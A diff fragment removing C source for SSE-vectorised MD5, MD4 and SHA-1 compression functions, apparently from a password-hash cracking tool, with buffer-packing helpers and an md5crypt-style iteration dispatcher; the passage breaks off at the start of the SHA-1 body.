-	MD5_PARA_DO(i) a[i] = _mm_add_epi32( a[i], b[i] );
-
-#define MD5_STEP_r16(f, a, b, c, d, x, t, s) \
-	MD5_PARA_DO(i) a[i] = _mm_add_epi32( a[i], _mm_set_epi32(t,t,t,t) ); \
-	f((b),(c),(d)) \
-	MD5_PARA_DO(i) a[i] = _mm_add_epi32( a[i], tmp[i] ); \
-	MD5_PARA_DO(i) a[i] = _mm_add_epi32( a[i], data[i*16+x] ); \
-	MD5_PARA_DO(i) a[i] = _mm_roti16_epi32( a[i], (s) ); \
-	MD5_PARA_DO(i) a[i] = _mm_add_epi32( a[i], b[i] );
-
-void SSEmd5body(__m128i* _data, unsigned int * out, ARCH_WORD_32 *reload_state, unsigned SSEi_flags)
-{
-	__m128i w[16*MD5_SSE_PARA];
-	__m128i a[MD5_SSE_PARA];
-	__m128i b[MD5_SSE_PARA];
-	__m128i c[MD5_SSE_PARA];
-	__m128i d[MD5_SSE_PARA];
-	__m128i tmp[MD5_SSE_PARA];
-	__m128i mask;
-	unsigned int i;
-	__m128i *data;
-
-	mask = _mm_set1_epi32(0Xffffffff);
-
-	if(SSEi_flags & SSEi_FLAT_IN) {
-		// Move _data to __data, mixing it MMX_COEF wise.
-#ifdef __SSE4_1__
-		unsigned k;
-		__m128i *W = w;
-		ARCH_WORD_32 *saved_key = (ARCH_WORD_32 *)_data;
-		MD5_PARA_DO(k)
-		{
-			if (SSEi_flags & SSEi_4BUF_INPUT) {
-				for (i=0; i < 16; ++i) { GATHER_4x (W[i], saved_key, i); }
-				saved_key += (MMX_COEF<<6);
-			} else if (SSEi_flags & SSEi_2BUF_INPUT) {
-				for (i=0; i < 16; ++i) { GATHER_2x (W[i], saved_key, i); }
-				saved_key += (MMX_COEF<<5);
-			} else {
-				for (i=0; i < 16; ++i) { GATHER (W[i], saved_key, i); }
-				saved_key += (MMX_COEF<<4);
-			}
-			W += 16;
-		}
-#else
-		unsigned j, k;
-		ARCH_WORD_32 *p = (ARCH_WORD_32 *)w;
-		__m128i *W = w;
-		ARCH_WORD_32 *saved_key = (ARCH_WORD_32 *)_data;
-		MD5_PARA_DO(k)
-		{
-			if (SSEi_flags & SSEi_4BUF_INPUT) {
-				for (j=0; j < 16; j++)
-					for (i=0; i < MMX_COEF; i++)
-						*p++ = saved_key[(i<<6)+j];
-				saved_key += (MMX_COEF<<6);
-			} else if (SSEi_flags & SSEi_2BUF_INPUT) {
-				for (j=0; j < 16; j++)
-					for (i=0; i < MMX_COEF; i++)
-						*p++ = saved_key[(i<<5)+j];
-				saved_key += (MMX_COEF<<5);
-			} else {
-				for (j=0; j < 16; j++)
-					for (i=0; i < MMX_COEF; i++)
-						*p++ = saved_key[(i<<4)+j];
-				saved_key += (MMX_COEF<<4);
-			}
-			W += 16;
-		}
-#endif
-		// now set our data pointer to point to this 'mixed' data.
-		data = w;
-	} else
-		data = _data;
-
-	if((SSEi_flags & SSEi_RELOAD)==0)
-	{
-		MD5_PARA_DO(i)
-		{
-			a[i] = _mm_set1_epi32(0x67452301);
-			b[i] = _mm_set1_epi32(0xefcdab89);
-			c[i] = _mm_set1_epi32(0x98badcfe);
-			d[i] = _mm_set1_epi32(0x10325476);
-		}
-	}
-	else
-	{
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT)
-		{
-			MD5_PARA_DO(i)
-			{
-				a[i] = _mm_load_si128((__m128i *)&reload_state[i*16*4+0]);
-				b[i] = _mm_load_si128((__m128i *)&reload_state[i*16*4+4]);
-				c[i] = _mm_load_si128((__m128i *)&reload_state[i*16*4+8]);
-				d[i] = _mm_load_si128((__m128i *)&reload_state[i*16*4+12]);
-			}
-		}
-		else
-		{
-			MD5_PARA_DO(i)
-			{
-				a[i] = _mm_load_si128((__m128i *)&reload_state[i*16+0]);
-				b[i] = _mm_load_si128((__m128i *)&reload_state[i*16+4]);
-				c[i] = _mm_load_si128((__m128i *)&reload_state[i*16+8]);
-				d[i] = _mm_load_si128((__m128i *)&reload_state[i*16+12]);
-			}
-		}
-	}
-
-/* Round 1 */
-		MD5_STEP(MD5_F, a, b, c, d, 0, 0xd76aa478, 7)
-		MD5_STEP(MD5_F, d, a, b, c, 1, 0xe8c7b756, 12)
-		MD5_STEP(MD5_F, c, d, a, b, 2, 0x242070db, 17)
-		MD5_STEP(MD5_F, b, c, d, a, 3, 0xc1bdceee, 22)
-		MD5_STEP(MD5_F, a, b, c, d, 4, 0xf57c0faf, 7)
-		MD5_STEP(MD5_F, d, a, b, c, 5, 0x4787c62a, 12)
-		MD5_STEP(MD5_F, c, d, a, b, 6, 0xa8304613, 17)
-		MD5_STEP(MD5_F, b, c, d, a, 7, 0xfd469501, 22)
-		MD5_STEP(MD5_F, a, b, c, d, 8, 0x698098d8, 7)
-		MD5_STEP(MD5_F, d, a, b, c, 9, 0x8b44f7af, 12)
-		MD5_STEP(MD5_F, c, d, a, b, 10, 0xffff5bb1, 17)
-		MD5_STEP(MD5_F, b, c, d, a, 11, 0x895cd7be, 22)
-		MD5_STEP(MD5_F, a, b, c, d, 12, 0x6b901122, 7)
-		MD5_STEP(MD5_F, d, a, b, c, 13, 0xfd987193, 12)
-		MD5_STEP(MD5_F, c, d, a, b, 14, 0xa679438e, 17)
-		MD5_STEP(MD5_F, b, c, d, a, 15, 0x49b40821, 22)
-
-/* Round 2 */
-		MD5_STEP(MD5_G, a, b, c, d, 1, 0xf61e2562, 5)
-		MD5_STEP(MD5_G, d, a, b, c, 6, 0xc040b340, 9)
-		MD5_STEP(MD5_G, c, d, a, b, 11, 0x265e5a51, 14)
-		MD5_STEP(MD5_G, b, c, d, a, 0, 0xe9b6c7aa, 20)
-		MD5_STEP(MD5_G, a, b, c, d, 5, 0xd62f105d, 5)
-		MD5_STEP(MD5_G, d, a, b, c, 10, 0x02441453, 9)
-		MD5_STEP(MD5_G, c, d, a, b, 15, 0xd8a1e681, 14)
-		MD5_STEP(MD5_G, b, c, d, a, 4, 0xe7d3fbc8, 20)
-		MD5_STEP(MD5_G, a, b, c, d, 9, 0x21e1cde6, 5)
-		MD5_STEP(MD5_G, d, a, b, c, 14, 0xc33707d6, 9)
-		MD5_STEP(MD5_G, c, d, a, b, 3, 0xf4d50d87, 14)
-		MD5_STEP(MD5_G, b, c, d, a, 8, 0x455a14ed, 20)
-		MD5_STEP(MD5_G, a, b, c, d, 13, 0xa9e3e905, 5)
-		MD5_STEP(MD5_G, d, a, b, c, 2, 0xfcefa3f8, 9)
-		MD5_STEP(MD5_G, c, d, a, b, 7, 0x676f02d9, 14)
-		MD5_STEP(MD5_G, b, c, d, a, 12, 0x8d2a4c8a, 20)
-
-/* Round 3 */
-		MD5_STEP(MD5_H, a, b, c, d, 5, 0xfffa3942, 4)
-		MD5_STEP(MD5_H, d, a, b, c, 8, 0x8771f681, 11)
-		MD5_STEP_r16(MD5_H, c, d, a, b, 11, 0x6d9d6122, 16)
-		MD5_STEP(MD5_H, b, c, d, a, 14, 0xfde5380c, 23)
-		MD5_STEP(MD5_H, a, b, c, d, 1, 0xa4beea44, 4)
-		MD5_STEP(MD5_H, d, a, b, c, 4, 0x4bdecfa9, 11)
-		MD5_STEP_r16(MD5_H, c, d, a, b, 7, 0xf6bb4b60, 16)
-		MD5_STEP(MD5_H, b, c, d, a, 10, 0xbebfbc70, 23)
-		MD5_STEP(MD5_H, a, b, c, d, 13, 0x289b7ec6, 4)
-		MD5_STEP(MD5_H, d, a, b, c, 0, 0xeaa127fa, 11)
-		MD5_STEP_r16(MD5_H, c, d, a, b, 3, 0xd4ef3085, 16)
-		MD5_STEP(MD5_H, b, c, d, a, 6, 0x04881d05, 23)
-		MD5_STEP(MD5_H, a, b, c, d, 9, 0xd9d4d039, 4)
-		MD5_STEP(MD5_H, d, a, b, c, 12, 0xe6db99e5, 11)
-		MD5_STEP_r16(MD5_H, c, d, a, b, 15, 0x1fa27cf8, 16)
-		MD5_STEP(MD5_H, b, c, d, a, 2, 0xc4ac5665, 23)
-
-/* Round 4 */
-		MD5_STEP(MD5_I, a, b, c, d, 0, 0xf4292244, 6)
-		MD5_STEP(MD5_I, d, a, b, c, 7, 0x432aff97, 10)
-		MD5_STEP(MD5_I, c, d, a, b, 14, 0xab9423a7, 15)
-		MD5_STEP(MD5_I, b, c, d, a, 5, 0xfc93a039, 21)
-		MD5_STEP(MD5_I, a, b, c, d, 12, 0x655b59c3, 6)
-		MD5_STEP(MD5_I, d, a, b, c, 3, 0x8f0ccc92, 10)
-		MD5_STEP(MD5_I, c, d, a, b, 10, 0xffeff47d, 15)
-		MD5_STEP(MD5_I, b, c, d, a, 1, 0x85845dd1, 21)
-		MD5_STEP(MD5_I, a, b, c, d, 8, 0x6fa87e4f, 6)
-		MD5_STEP(MD5_I, d, a, b, c, 15, 0xfe2ce6e0, 10)
-		MD5_STEP(MD5_I, c, d, a, b, 6, 0xa3014314, 15)
-		MD5_STEP(MD5_I, b, c, d, a, 13, 0x4e0811a1, 21)
-		MD5_STEP(MD5_I, a, b, c, d, 4, 0xf7537e82, 6)
-		MD5_STEP(MD5_I, d, a, b, c, 11, 0xbd3af235, 10)
-		MD5_STEP(MD5_I, c, d, a, b, 2, 0x2ad7d2bb, 15)
-		MD5_STEP(MD5_I, b, c, d, a, 9, 0xeb86d391, 21)
-
-	if((SSEi_flags & SSEi_RELOAD)==0)
-	{
-		MD5_PARA_DO(i)
-		{
-			a[i] = _mm_add_epi32(a[i], _mm_set1_epi32(0x67452301));
-			b[i] = _mm_add_epi32(b[i], _mm_set1_epi32(0xefcdab89));
-			c[i] = _mm_add_epi32(c[i], _mm_set1_epi32(0x98badcfe));
-			d[i] = _mm_add_epi32(d[i], _mm_set1_epi32(0x10325476));
-		}
-	}
-	else
-	{
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT)
-		{
-			MD5_PARA_DO(i)
-			{
-				a[i] = _mm_add_epi32(a[i], _mm_load_si128((__m128i *)&reload_state[i*16*4+0]));
-				b[i] = _mm_add_epi32(b[i], _mm_load_si128((__m128i *)&reload_state[i*16*4+4]));
-				c[i] = _mm_add_epi32(c[i], _mm_load_si128((__m128i *)&reload_state[i*16*4+8]));
-				d[i] = _mm_add_epi32(d[i], _mm_load_si128((__m128i *)&reload_state[i*16*4+12]));
-			}
-		}
-		else
-		{
-			MD5_PARA_DO(i)
-			{
-				a[i] = _mm_add_epi32(a[i], _mm_load_si128((__m128i *)&reload_state[i*16+0]));
-				b[i] = _mm_add_epi32(b[i], _mm_load_si128((__m128i *)&reload_state[i*16+4]));
-				c[i] = _mm_add_epi32(c[i], _mm_load_si128((__m128i *)&reload_state[i*16+8]));
-				d[i] = _mm_add_epi32(d[i], _mm_load_si128((__m128i *)&reload_state[i*16+12]));
-			}
-		}
-	}
-	if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT)
-	{
-		MD5_PARA_DO(i)
-		{
-			_mm_store_si128((__m128i *)&out[i*16*4+0], a[i]);
-			_mm_store_si128((__m128i *)&out[i*16*4+4], b[i]);
-			_mm_store_si128((__m128i *)&out[i*16*4+8], c[i]);
-			_mm_store_si128((__m128i *)&out[i*16*4+12], d[i]);
-		}
-	}
-	else
-	{
-		MD5_PARA_DO(i)
-		{
-			_mm_store_si128((__m128i *)&out[i*16+0], a[i]);
-			_mm_store_si128((__m128i *)&out[i*16+4], b[i]);
-			_mm_store_si128((__m128i *)&out[i*16+8], c[i]);
-			_mm_store_si128((__m128i *)&out[i*16+12], d[i]);
-		}
-	}
-}
-
-#define GETPOS(i, index)                ( (index&3)*4 + (i& (0xffffffff-3) )*MMX_COEF + ((i)&3) )
-
-static MAYBE_INLINE void mmxput(void * buf, unsigned int index, unsigned int bid, unsigned int offset, unsigned char * src, unsigned int len)
-{
-	unsigned char * nbuf;
-	unsigned int i;
-
-	nbuf = ((unsigned char*)buf) + (index>>2)*64*MMX_COEF + bid*64*MD5_SSE_NUM_KEYS;
-	for(i=0;i<len;i++)
-		nbuf[ GETPOS((offset+i), index) ] = src[i];
-
-}
-
-static MAYBE_INLINE void mmxput2(void * buf, unsigned int bid, void * src)
-{
-	unsigned char * nbuf;
-	unsigned int i;
-
-	nbuf = ((unsigned char*)buf) + bid*64*MD5_SSE_NUM_KEYS;
-	MD5_PARA_DO(i)
-		memcpy( nbuf+i*64*MMX_COEF, ((unsigned char*)src)+i*64, 64);
-}
-
-static MAYBE_INLINE void mmxput3(void * buf, unsigned int bid, unsigned int * offset, int mult, int saltlen, void * src)
-{
-	unsigned char * nbuf;
-	unsigned int noff;
-	unsigned int noffd;
-	unsigned int i,j;
-	unsigned int dec;
-
-	MD5_PARA_DO(j)
-	{
-		nbuf = ((unsigned char*)buf) + bid*64*MD5_SSE_NUM_KEYS + j*64*MMX_COEF;
-		for(i=0;i<MMX_COEF;i++)
-		{
-			noff = offset[i+j*MMX_COEF]*mult + saltlen;
-			dec = (noff&3)*8;
-			if(dec)
-			{
-				noffd = noff & (~3);
-				((unsigned int *)(nbuf+noffd*4))[i] &= (0xffffffff>>(32-dec));
-				((unsigned int *)(nbuf+noffd*4))[i] |= (((unsigned int *)src)[i+j*16+0] << dec);
-				((unsigned int *)(nbuf+noffd*4))[i+4] = (((unsigned int *)src)[i+j*16+4] << dec) | (((unsigned int *)src)[i+j*16+0] >> (32-dec));
-				((unsigned int *)(nbuf+noffd*4))[i+8] = (((unsigned int *)src)[i+j*16+8] << dec) | (((unsigned int *)src)[i+j*16+4] >> (32-dec));
-				((unsigned int *)(nbuf+noffd*4))[i+12] = (((unsigned int *)src)[i+j*16+12] << dec) | (((unsigned int *)src)[i+j*16+8] >> (32-dec));
-				((unsigned int *)(nbuf+noffd*4))[i+16] &= (0xffffffff<<dec);
-				((unsigned int *)(nbuf+noffd*4))[i+16] |= (((unsigned int *)src)[i+j*16+12] >> (32-dec));
-			}
-			else
-			{
-				((unsigned int *)(nbuf+noff*4))[i] = ((unsigned int *)src)[i+j*16+0];
-				((unsigned int *)(nbuf+noff*4))[i+4] = ((unsigned int *)src)[i+j*16+4];
-				((unsigned int *)(nbuf+noff*4))[i+8] = ((unsigned int *)src)[i+j*16+8];
-				((unsigned int *)(nbuf+noff*4))[i+12] = ((unsigned int *)src)[i+j*16+12];
-			}
-		}
-	}
-
-}
-
-static MAYBE_INLINE void dispatch(unsigned char buffers[8][64*MD5_SSE_NUM_KEYS], unsigned int f[4*MD5_SSE_NUM_KEYS], unsigned int length[MD5_SSE_NUM_KEYS], unsigned int saltlen)
-{
-	unsigned int i, j;
-	unsigned int bufferid;
-
-	i = 1000 / 42; j = 0;
-	do {
-		switch(j)
-		{
-			case 0:
-				bufferid = 0;
-				mmxput2(buffers, bufferid, f);
-				break;
-			case 21:
-				bufferid = 1;
-				mmxput3(buffers, bufferid, length, 1, 0, f);
-				break;
-			case 3:
-			case 9:
-			case 15:
-			case 27:
-			case 33:
-			case 39:
-				bufferid = 2;
-				mmxput3(buffers, bufferid, length, 2, 0, f);
-				break;
-			case 6:
-			case 12:
-			case 18:
-			case 24:
-			case 30:
-			case 36:
-				bufferid = 3;
-				mmxput2(buffers, bufferid, f);
-				break;
-			case 7:
-			case 35:
-				bufferid = 4;
-				mmxput3(buffers, bufferid, length, 1, saltlen, f);
-				break;
-			case 14:
-			case 28:
-				bufferid = 5;
-				mmxput2(buffers, bufferid, f);
-				break;
-			case 2:
-			case 4:
-			case 8:
-			case 10:
-			case 16:
-			case 20:
-			case 22:
-			case 26:
-			case 32:
-			case 34:
-			case 38:
-			case 40:
-				bufferid = 6;
-				mmxput2(buffers, bufferid, f);
-				break;
-			default:
-				bufferid = 7;
-				mmxput3(buffers, bufferid, length, 2, saltlen, f);
-				break;
-		}
-		SSEmd5body((__m128i*)&buffers[bufferid], f, NULL, SSEi_MIXED_IN);
-		if (j++ < 1000 % 42 - 1)
-			continue;
-		if (j == 1000 % 42) {
-			if (!i)
-				break;
-			i--;
-			continue;
-		}
-		if (j >= 42)
-			j = 0;
-	} while (1);
-}
-
-
-#endif /* MD5_SSE_PARA */
-
-#ifdef MD4_SSE_PARA
-#define MD4_SSE_NUM_KEYS	(MMX_COEF*MD4_SSE_PARA)
-#define MD4_PARA_DO(x)	for((x)=0;(x)<MD4_SSE_PARA;(x)++)
-
-#define MD4_F(x,y,z) \
-	MD4_PARA_DO(i) tmp[i] = _mm_cmov_si128((y[i]),(z[i]),(x[i]));
-
-#define MD4_G(x,y,z) \
-	MD4_PARA_DO(i) tmp[i] = _mm_or_si128((y[i]),(z[i])); \
-	MD4_PARA_DO(i) tmp2[i] = _mm_and_si128((y[i]),(z[i])); \
-	MD4_PARA_DO(i) tmp[i] = _mm_and_si128((tmp[i]),(x[i])); \
-	MD4_PARA_DO(i) tmp[i] = _mm_or_si128((tmp[i]), (tmp2[i]) );
-
-#define MD4_H(x,y,z) \
-	MD4_PARA_DO(i) tmp[i] = _mm_xor_si128((y[i]),(z[i])); \
-	MD4_PARA_DO(i) tmp[i] = _mm_xor_si128((tmp[i]),(x[i]));
-
-#define MD4_STEP(f, a, b, c, d, x, t, s) \
-	MD4_PARA_DO(i) a[i] = _mm_add_epi32( a[i], t ); \
-	f((b),(c),(d)) \
-	MD4_PARA_DO(i) a[i] = _mm_add_epi32( a[i], tmp[i] ); \
-	MD4_PARA_DO(i) a[i] = _mm_add_epi32( a[i], data[i*16+x] ); \
-	MD4_PARA_DO(i) a[i] = _mm_roti_epi32( a[i], (s) );
-
-void SSEmd4body(__m128i* _data, unsigned int * out, ARCH_WORD_32 *reload_state, unsigned SSEi_flags)
-{
-	__m128i w[16*MD4_SSE_PARA];
-	__m128i a[MD4_SSE_PARA];
-	__m128i b[MD4_SSE_PARA];
-	__m128i c[MD4_SSE_PARA];
-	__m128i d[MD4_SSE_PARA];
-	__m128i tmp[MD4_SSE_PARA];
-	__m128i tmp2[MD4_SSE_PARA];
-	__m128i	cst;
-	unsigned int i;
-	__m128i *data;
-
-if(SSEi_flags & SSEi_FLAT_IN) {
-		// Move _data to __data, mixing it MMX_COEF wise.
-#ifdef __SSE4_1__
-		unsigned k;
-		__m128i *W = w;
-		ARCH_WORD_32 *saved_key = (ARCH_WORD_32 *)_data;
-		MD4_PARA_DO(k)
-		{
-			if (SSEi_flags & SSEi_4BUF_INPUT) {
-				for (i=0; i < 16; ++i) { GATHER_4x (W[i], saved_key, i); }
-				saved_key += (MMX_COEF<<6);
-			} else if (SSEi_flags & SSEi_2BUF_INPUT) {
-				for (i=0; i < 16; ++i) { GATHER_2x (W[i], saved_key, i); }
-				saved_key += (MMX_COEF<<5);
-			} else {
-				for (i=0; i < 16; ++i) { GATHER (W[i], saved_key, i); }
-				saved_key += (MMX_COEF<<4);
-			}
-			W += 16;
-		}
-#else
-		unsigned j, k;
-		ARCH_WORD_32 *p = (ARCH_WORD_32 *)w;
-		__m128i *W = w;
-		ARCH_WORD_32 *saved_key = (ARCH_WORD_32 *)_data;
-		MD4_PARA_DO(k)
-		{
-			if (SSEi_flags & SSEi_4BUF_INPUT) {
-				for (j=0; j < 16; j++)
-					for (i=0; i < MMX_COEF; i++)
-						*p++ = saved_key[(i<<6)+j];
-				saved_key += (MMX_COEF<<6);
-			} else if (SSEi_flags & SSEi_2BUF_INPUT) {
-				for (j=0; j < 16; j++)
-					for (i=0; i < MMX_COEF; i++)
-						*p++ = saved_key[(i<<5)+j];
-				saved_key += (MMX_COEF<<5);
-			} else {
-				for (j=0; j < 16; j++)
-					for (i=0; i < MMX_COEF; i++)
-						*p++ = saved_key[(i<<4)+j];
-				saved_key += (MMX_COEF<<4);
-			}
-			W += 16;
-		}
-#endif
-		// now set our data pointer to point to this 'mixed' data.
-		data = w;
-	} else
-		data = _data;
-
-	if((SSEi_flags & SSEi_RELOAD)==0)
-	{
-		MD4_PARA_DO(i)
-		{
-			a[i] = _mm_set1_epi32(0x67452301);
-			b[i] = _mm_set1_epi32(0xefcdab89);
-			c[i] = _mm_set1_epi32(0x98badcfe);
-			d[i] = _mm_set1_epi32(0x10325476);
-		}
-	}
-	else
-	{
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT)
-		{
-			MD4_PARA_DO(i)
-			{
-				a[i] = _mm_load_si128((__m128i *)&reload_state[i*16*4+0]);
-				b[i] = _mm_load_si128((__m128i *)&reload_state[i*16*4+4]);
-				c[i] = _mm_load_si128((__m128i *)&reload_state[i*16*4+8]);
-				d[i] = _mm_load_si128((__m128i *)&reload_state[i*16*4+12]);
-			}
-		}
-		else
-		{
-			MD4_PARA_DO(i)
-			{
-				a[i] = _mm_load_si128((__m128i *)&reload_state[i*16+0]);
-				b[i] = _mm_load_si128((__m128i *)&reload_state[i*16+4]);
-				c[i] = _mm_load_si128((__m128i *)&reload_state[i*16+8]);
-				d[i] = _mm_load_si128((__m128i *)&reload_state[i*16+12]);
-			}
-		}
-	}
-
-
-/* Round 1 */
-		cst = _mm_set_epi32(0,0,0,0);
-		MD4_STEP(MD4_F, a, b, c, d, 0, cst, 3)
-		MD4_STEP(MD4_F, d, a, b, c, 1, cst, 7)
-		MD4_STEP(MD4_F, c, d, a, b, 2, cst, 11)
-		MD4_STEP(MD4_F, b, c, d, a, 3, cst, 19)
-		MD4_STEP(MD4_F, a, b, c, d, 4, cst, 3)
-		MD4_STEP(MD4_F, d, a, b, c, 5, cst, 7)
-		MD4_STEP(MD4_F, c, d, a, b, 6, cst, 11)
-		MD4_STEP(MD4_F, b, c, d, a, 7, cst, 19)
-		MD4_STEP(MD4_F, a, b, c, d, 8, cst, 3)
-		MD4_STEP(MD4_F, d, a, b, c, 9, cst, 7)
-		MD4_STEP(MD4_F, c, d, a, b, 10, cst, 11)
-		MD4_STEP(MD4_F, b, c, d, a, 11, cst, 19)
-		MD4_STEP(MD4_F, a, b, c, d, 12, cst, 3)
-		MD4_STEP(MD4_F, d, a, b, c, 13, cst, 7)
-		MD4_STEP(MD4_F, c, d, a, b, 14, cst, 11)
-		MD4_STEP(MD4_F, b, c, d, a, 15, cst, 19)
-
-/* Round 2 */
-		cst = _mm_set_epi32(0x5A827999L,0x5A827999L,0x5A827999L,0x5A827999L);
-		MD4_STEP(MD4_G, a, b, c, d, 0, cst, 3)
-		MD4_STEP(MD4_G, d, a, b, c, 4, cst, 5)
-		MD4_STEP(MD4_G, c, d, a, b, 8, cst, 9)
-		MD4_STEP(MD4_G, b, c, d, a, 12, cst, 13)
-		MD4_STEP(MD4_G, a, b, c, d, 1, cst, 3)
-		MD4_STEP(MD4_G, d, a, b, c, 5, cst, 5)
-		MD4_STEP(MD4_G, c, d, a, b, 9, cst, 9)
-		MD4_STEP(MD4_G, b, c, d, a, 13, cst, 13)
-		MD4_STEP(MD4_G, a, b, c, d, 2, cst, 3)
-		MD4_STEP(MD4_G, d, a, b, c, 6, cst, 5)
-		MD4_STEP(MD4_G, c, d, a, b, 10, cst, 9)
-		MD4_STEP(MD4_G, b, c, d, a, 14, cst, 13)
-		MD4_STEP(MD4_G, a, b, c, d, 3, cst, 3)
-		MD4_STEP(MD4_G, d, a, b, c, 7, cst, 5)
-		MD4_STEP(MD4_G, c, d, a, b, 11, cst, 9)
-		MD4_STEP(MD4_G, b, c, d, a, 15, cst, 13)
-
-/* Round 3 */
-		cst = _mm_set_epi32(0x6ED9EBA1L,0x6ED9EBA1L,0x6ED9EBA1L,0x6ED9EBA1L);
-		MD4_STEP(MD4_H, a, b, c, d, 0, cst, 3)
-		MD4_STEP(MD4_H, d, a, b, c, 8, cst, 9)
-		MD4_STEP(MD4_H, c, d, a, b, 4, cst, 11)
-		MD4_STEP(MD4_H, b, c, d, a, 12, cst, 15)
-		MD4_STEP(MD4_H, a, b, c, d, 2, cst, 3)
-		MD4_STEP(MD4_H, d, a, b, c, 10, cst, 9)
-		MD4_STEP(MD4_H, c, d, a, b, 6, cst, 11)
-		MD4_STEP(MD4_H, b, c, d, a, 14, cst, 15)
-		MD4_STEP(MD4_H, a, b, c, d, 1, cst, 3)
-		MD4_STEP(MD4_H, d, a, b, c, 9, cst, 9)
-		MD4_STEP(MD4_H, c, d, a, b, 5, cst, 11)
-		MD4_STEP(MD4_H, b, c, d, a, 13, cst, 15)
-		MD4_STEP(MD4_H, a, b, c, d, 3, cst, 3)
-		MD4_STEP(MD4_H, d, a, b, c, 11, cst, 9)
-		MD4_STEP(MD4_H, c, d, a, b, 7, cst, 11)
-		MD4_STEP(MD4_H, b, c, d, a, 15, cst, 15)
-
-
-	if((SSEi_flags & SSEi_RELOAD)==0)
-	{
-		MD4_PARA_DO(i)
-		{
-			a[i] = _mm_add_epi32(a[i], _mm_set1_epi32(0x67452301));
-			b[i] = _mm_add_epi32(b[i], _mm_set1_epi32(0xefcdab89));
-			c[i] = _mm_add_epi32(c[i], _mm_set1_epi32(0x98badcfe));
-			d[i] = _mm_add_epi32(d[i], _mm_set1_epi32(0x10325476));
-		}
-	}
-	else
-	{
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT)
-		{
-			MD4_PARA_DO(i)
-			{
-				a[i] = _mm_add_epi32(a[i], _mm_load_si128((__m128i *)&reload_state[i*16*4+0]));
-				b[i] = _mm_add_epi32(b[i], _mm_load_si128((__m128i *)&reload_state[i*16*4+4]));
-				c[i] = _mm_add_epi32(c[i], _mm_load_si128((__m128i *)&reload_state[i*16*4+8]));
-				d[i] = _mm_add_epi32(d[i], _mm_load_si128((__m128i *)&reload_state[i*16*4+12]));
-			}
-		}
-		else
-		{
-			MD4_PARA_DO(i)
-			{
-				a[i] = _mm_add_epi32(a[i], _mm_load_si128((__m128i *)&reload_state[i*16+0]));
-				b[i] = _mm_add_epi32(b[i], _mm_load_si128((__m128i *)&reload_state[i*16+4]));
-				c[i] = _mm_add_epi32(c[i], _mm_load_si128((__m128i *)&reload_state[i*16+8]));
-				d[i] = _mm_add_epi32(d[i], _mm_load_si128((__m128i *)&reload_state[i*16+12]));
-			}
-		}
-	}
-	if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT)
-	{
-		MD4_PARA_DO(i)
-		{
-			_mm_store_si128((__m128i *)&out[i*16*4+0], a[i]);
-			_mm_store_si128((__m128i *)&out[i*16*4+4], b[i]);
-			_mm_store_si128((__m128i *)&out[i*16*4+8], c[i]);
-			_mm_store_si128((__m128i *)&out[i*16*4+12], d[i]);
-		}
-	}
-	else
-	{
-		MD4_PARA_DO(i)
-		{
-			_mm_store_si128((__m128i *)&out[i*16+0], a[i]);
-			_mm_store_si128((__m128i *)&out[i*16+4], b[i]);
-			_mm_store_si128((__m128i *)&out[i*16+8], c[i]);
-			_mm_store_si128((__m128i *)&out[i*16+12], d[i]);
-		}
-	}
-}
-
-#endif /* MD4_SSE_PARA */
-
-#ifdef SHA1_SSE_PARA
-#define SHA1_SSE_NUM_KEYS	(MMX_COEF*SHA1_SSE_PARA)
-#define SHA1_PARA_DO(x)		for((x)=0;(x)<SHA1_SSE_PARA;(x)++)
-
-#define SHA1_F(x,y,z) \
-	SHA1_PARA_DO(i) tmp[i] = _mm_cmov_si128((y[i]),(z[i]),(x[i]));
-
-#define SHA1_G(x,y,z) \
-	SHA1_PARA_DO(i) tmp[i] = _mm_xor_si128((y[i]),(z[i])); \
-	SHA1_PARA_DO(i) tmp[i] = _mm_xor_si128((tmp[i]),(x[i]));
-
-#ifdef __XOP__
-#define SHA1_H(x,y,z) \
-	SHA1_PARA_DO(i) tmp[i] = _mm_cmov_si128((x[i]),(y[i]),(z[i])); \
-	SHA1_PARA_DO(i) tmp2[i] = _mm_andnot_si128((x[i]),(y[i])); \
-	SHA1_PARA_DO(i) tmp[i] = _mm_xor_si128((tmp[i]),(tmp2[i]));
-#else
-#define SHA1_H(x,y,z) \
-	SHA1_PARA_DO(i) tmp[i] = _mm_and_si128((x[i]),(y[i])); \
-	SHA1_PARA_DO(i) tmp2[i] = _mm_or_si128((x[i]),(y[i])); \
-	SHA1_PARA_DO(i) tmp2[i] = _mm_and_si128((tmp2[i]),(z[i])); \
-	SHA1_PARA_DO(i) tmp[i] = _mm_or_si128((tmp[i]),(tmp2[i]));
-#endif
-
-#define SHA1_I(x,y,z) SHA1_G(x,y,z)
-
-#if SHA_BUF_SIZ == 80
-// Bartavelle's original code, using 80x4 words of buffer
-
-#define SHA1_EXPAND(t) \
-	SHA1_PARA_DO(i) tmp[i] = _mm_xor_si128( data[i*80+t-3], data[i*80+t-8] ); \
-	SHA1_PARA_DO(i) tmp[i] = _mm_xor_si128( tmp[i], data[i*80+t-14] ); \
-	SHA1_PARA_DO(i) tmp[i] = _mm_xor_si128( tmp[i], data[i*80+t-16] ); \
-	SHA1_PARA_DO(i) data[i*80+t] = _mm_roti_epi32(tmp[i], 1);
-
-#define SHA1_ROUND(a,b,c,d,e,F,t) \
-	F(b,c,d) \
-	SHA1_PARA_DO(i) e[i] = _mm_add_epi32( e[i], tmp[i] ); \
-	SHA1_PARA_DO(i) tmp[i] = _mm_roti_epi32(a[i], 5); \
-	SHA1_PARA_DO(i) e[i] = _mm_add_epi32( e[i], tmp[i] ); \
-	SHA1_PARA_DO(i) e[i] = _mm_add_epi32( e[i], cst ); \
-	SHA1_PARA_DO(i) e[i] = _mm_add_epi32( e[i], data[i*80+t] ); \
-	SHA1_PARA_DO(i) b[i] = _mm_roti_epi32(b[i], 30);
-
-void SSESHA1body(__m128i* data, ARCH_WORD_32 *out, ARCH_WORD_32 *reload_state, unsigned int SSEi_flags)
-{
-	__m128i a[SHA1_SSE_PARA];
-	__m128i b[SHA1_SSE_PARA];
-	__m128i c[SHA1_SSE_PARA];
-	__m128i d[SHA1_SSE_PARA];
-	__m128i e[SHA1_SSE_PARA];
